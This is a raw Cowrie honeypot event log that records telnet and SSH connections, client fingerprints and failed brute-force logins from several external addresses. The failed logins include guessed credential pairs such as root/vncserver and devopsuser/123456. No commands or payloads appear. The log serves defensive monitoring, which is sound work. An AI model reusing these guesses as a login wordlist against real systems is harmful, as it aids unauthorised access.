{"eventid":"cowrie.session.closed","duration":5.953453779220581,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:17.269544Z","src_ip":"174.138.46.234","session":"4bfecb89911b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.144548416137695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:20.982151Z","src_ip":"217.182.190.44","session":"02e4980eaaad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46504,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ae447b31b1","protocol":"telnet","message":"New connection: 174.138.46.234:46504 (159.203.135.109:23) [session: d7ae447b31b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:22.493505Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46578,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a39fa09f7c1","protocol":"telnet","message":"New connection: 174.138.46.234:46578 (159.203.135.109:23) [session: 4a39fa09f7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:22.742044Z"}
{"eventid":"cowrie.session.closed","duration":3.9662129878997803,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:26.708183Z","src_ip":"174.138.46.234","session":"4a39fa09f7c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9625444412231445,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:30.455921Z","src_ip":"174.138.46.234","session":"d7ae447b31b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":24088,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72eaee05bd9","protocol":"ssh","message":"New connection: 181.39.158.30:24088 (159.203.135.109:22) [session: d72eaee05bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:33.245897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:33.250358Z","src_ip":"181.39.158.30","session":"d72eaee05bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:33.369404Z","src_ip":"181.39.158.30","session":"d72eaee05bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"passwd","message":"login attempt [testuser/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:33.866894Z","src_ip":"181.39.158.30","session":"d72eaee05bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:11:34.989108Z","src_ip":"181.39.158.30","session":"d72eaee05bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71dc0ce966a","protocol":"ssh","message":"New connection: 103.69.96.120:37476 (159.203.135.109:22) [session: f71dc0ce966a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:00.703980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:00.709999Z","src_ip":"103.69.96.120","session":"f71dc0ce966a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:00.953568Z","src_ip":"103.69.96.120","session":"f71dc0ce966a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1w3r5y7i9p","message":"login attempt [root/1w3r5y7i9p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:01.961002Z","src_ip":"103.69.96.120","session":"f71dc0ce966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:03.208721Z","src_ip":"103.69.96.120","session":"f71dc0ce966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.73355841636658,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:04.334143Z","src_ip":"174.138.46.234","session":"724c2e64e1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"06645cf8d872","protocol":"telnet","message":"New connection: 174.138.46.234:60092 (159.203.135.109:23) [session: 06645cf8d872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:09.883804Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60694,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd488971a65","protocol":"telnet","message":"New connection: 174.138.46.234:60694 (159.203.135.109:23) [session: edd488971a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:11.956123Z"}
{"eventid":"cowrie.session.closed","duration":5.968885660171509,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:15.852558Z","src_ip":"174.138.46.234","session":"06645cf8d872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59828,"dst_ip":"159.203.135.109","dst_port":23,"session":"00ba39d17c73","protocol":"telnet","message":"New connection: 174.138.46.234:59828 (159.203.135.109:23) [session: 00ba39d17c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:15.986494Z"}
{"eventid":"cowrie.session.closed","duration":1.9020302295684814,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:17.888238Z","src_ip":"174.138.46.234","session":"00ba39d17c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.18000054359436,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:20.135994Z","src_ip":"174.138.46.234","session":"edd488971a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":13714,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf6a82251ba","protocol":"ssh","message":"New connection: 181.39.158.30:13714 (159.203.135.109:22) [session: dbf6a82251ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:30.135927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:30.141213Z","src_ip":"181.39.158.30","session":"dbf6a82251ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:30.263891Z","src_ip":"181.39.158.30","session":"dbf6a82251ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vncserver","message":"login attempt [root/vncserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:30.758998Z","src_ip":"181.39.158.30","session":"dbf6a82251ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":54684,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cecabfb1764","protocol":"telnet","message":"New connection: 217.182.190.44:54684 (10.17.0.5:23) [session: 9cecabfb1764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:31.212712Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:31.880291Z","src_ip":"181.39.158.30","session":"dbf6a82251ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7284,"dst_ip":"10.17.0.5","dst_port":22,"session":"dca3985e02b3","protocol":"ssh","message":"New connection: 2.57.121.25:7284 (10.17.0.5:22) [session: dca3985e02b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:36.556289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:36.561258Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:36.660276Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28051979","message":"login attempt [user/28051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:37.129272Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28041975","message":"login attempt [user/28041975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:38.230992Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28011980","message":"login attempt [user/28011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:39.333081Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27121977","message":"login attempt [user/27121977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:40.438123Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":49164,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9fcb0596e1","protocol":"ssh","message":"New connection: 14.248.83.33:49164 (159.203.135.109:22) [session: eb9fcb0596e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:40.999678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:41.004405Z","src_ip":"14.248.83.33","session":"eb9fcb0596e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:41.242848Z","src_ip":"14.248.83.33","session":"eb9fcb0596e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"271185","message":"login attempt [user/271185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:41.539458Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devopsuser","password":"123456","message":"login attempt [devopsuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:42.228783Z","src_ip":"14.248.83.33","session":"eb9fcb0596e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:42.640701Z","src_ip":"2.57.121.25","session":"dca3985e02b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:12:43.468728Z","src_ip":"14.248.83.33","session":"eb9fcb0596e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":41116,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0006cb630b","protocol":"ssh","message":"New connection: 103.69.96.120:41116 (159.203.135.109:22) [session: 3c0006cb630b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:04.124075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:04.128852Z","src_ip":"103.69.96.120","session":"3c0006cb630b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:04.378782Z","src_ip":"103.69.96.120","session":"3c0006cb630b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.9959282875061,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:05.208495Z","src_ip":"217.182.190.44","session":"9cecabfb1764","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"1","message":"login attempt [teamspeak3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:05.383191Z","src_ip":"103.69.96.120","session":"3c0006cb630b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:06.629857Z","src_ip":"103.69.96.120","session":"3c0006cb630b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a23b24d079","protocol":"telnet","message":"New connection: 174.138.46.234:49886 (159.203.135.109:23) [session: e8a23b24d079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:12.278679Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"296cdb4a2f18","protocol":"telnet","message":"New connection: 174.138.46.234:50876 (159.203.135.109:23) [session: 296cdb4a2f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:15.378319Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49374,"dst_ip":"159.203.135.109","dst_port":23,"session":"869add827ad6","protocol":"telnet","message":"New connection: 174.138.46.234:49374 (159.203.135.109:23) [session: 869add827ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:17.261740Z"}
{"eventid":"cowrie.session.closed","duration":5.922158479690552,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:18.200729Z","src_ip":"174.138.46.234","session":"e8a23b24d079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9791955947875977,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:13:18.240835Z","src_ip":"174.138.46.234","session":"869add827ad6","protocol":"telnet"}
